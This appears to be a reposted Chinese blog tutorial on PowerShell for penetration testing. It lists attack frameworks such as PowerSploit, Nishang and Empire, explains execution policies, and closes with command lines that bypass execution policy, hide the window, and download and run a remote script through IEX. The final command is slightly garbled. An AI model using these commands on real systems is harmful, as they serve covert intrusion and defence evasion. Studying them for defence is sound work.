PowerShell简介(WEB安全攻防)

0xx1 PowerShell技术

  1. 常用的PowerShell攻击工具
    1. PowerSploit

PowerShell后期漏洞利用框架,常用于信息探测,特权提升,凭证窃取,持久化等操作

    1. Nishang

基于PowerShell的渗透测试专用工具,集成了框架,脚本和各种payload,包含下载和执行,键盘记录,DNS,延时命令等脚本

    1. Empire

基于PowerShell的远程控制木马,可以凭证数据库中导出和跟踪凭证信息,常用与提供前期漏洞利用的集成模块,信息探测,凭据窃取,持久化控制

    1. PowerCat

PowerShell版的NetCat,传说中的”瑞士军刀”,能通过TCP和UDP在网络中读取数据,通过与其他工具的结合和重定向,可以在脚本中以多种方式使用

 

  1. PowerShell简介

Windows PowerShell是一种命令行外壳程序和脚本环境,内置在Windows系统中,使命令行用户和脚本编写者可以利用.NET的强大功能,PowerShell可以在内存中运行,也可以吧PowerShell看做命令行提示符cmd.exe的扩充

PowerShell优点:

  1. Windows7以上操作系统默认安装
  2. PowerShell脚本可以运行在内存中,不需要写入磁盘
  3. 可以从另一个系统下载PowerShell脚本并执行
  4. 很多安全软件并不能检测到PowerShell的活动
  5. cmd.exe通常会被阻止,但PowerShell不会
  6. 可以用来管理活动目录

 

  1. PowerShell基本概念
    1. PS1文件

PowerShell脚本的文本文档

  1. 执行策略

Get-ExecutionPolicy  #查看当前策略

Set-ExecutionPolicy <policy name>  #设置策略

  1. Restricted  #脚本不能运行(默认)
  2. Unrestricted  #允许所有脚本运行
  3. AllSigned  #仅当脚本受信任的发布者签名时才能运行
  4. RemoteSigned  #本地创建的脚本可运行,网上下载的不能运行(除拥有数字签名证书的)
  5. 运行脚本

运行PowerShell脚本必须输入完整路径,如果脚本文件位于系统目录,脚本前加”.\”

  1. 管道

将一个作用的输出作为另一个命令的输入

 

  1. 常用命令
    1. 基本知识

PowerShell下,类似cmd命令叫做cmdlet,命名采用”动词-名词”的形式,命名的别名一般兼容Windows 和Linux 如Get-Childltem命令可以使用dir或ls,PowerShell命令不区分大小写

  1. 常用命令
    1. Noexit  #执行后不退出shell(使用键盘记录等脚本时非常重要)
    2. NonProfile(-NoP)  #不加载当前用户的配置文件
    3. NonInteractive(-NonI)  #非交互模式,不为用户提供交互的提示
    4. NoLogo  #启动不显示版权标志的PowerShell
    5. WindowStyle Hidden  #隐藏窗口
    6. ExecutionPolicy Bypass  #绕过安全策略,通过设置这个参数,可以绕过任意一个安全保护规则

在目标服务器本地执行脚本

PowerShell.exe –ExecutionPolicy Bypass –File xxx.ps1

本地隐藏绕过权限执行脚本

PowerShell.exe –ExecutionPolicy Bypass -WindowStyle Hidden –NoLoGo –NonInteractive –Noprofile –File xxx.ps1

用IEX下载远程PS1脚本绕过权限执行

PowerShell.exe -ExecutionPolicy Bypass –WindowsStyle Hidden –NoProfile –NonIIEX(New-ObjectNet.WebClient).DownloadString(“xxx.ps1”)[Parameters]

猜你喜欢

转载自blog.csdn.net/a1453514850/article/details/88074300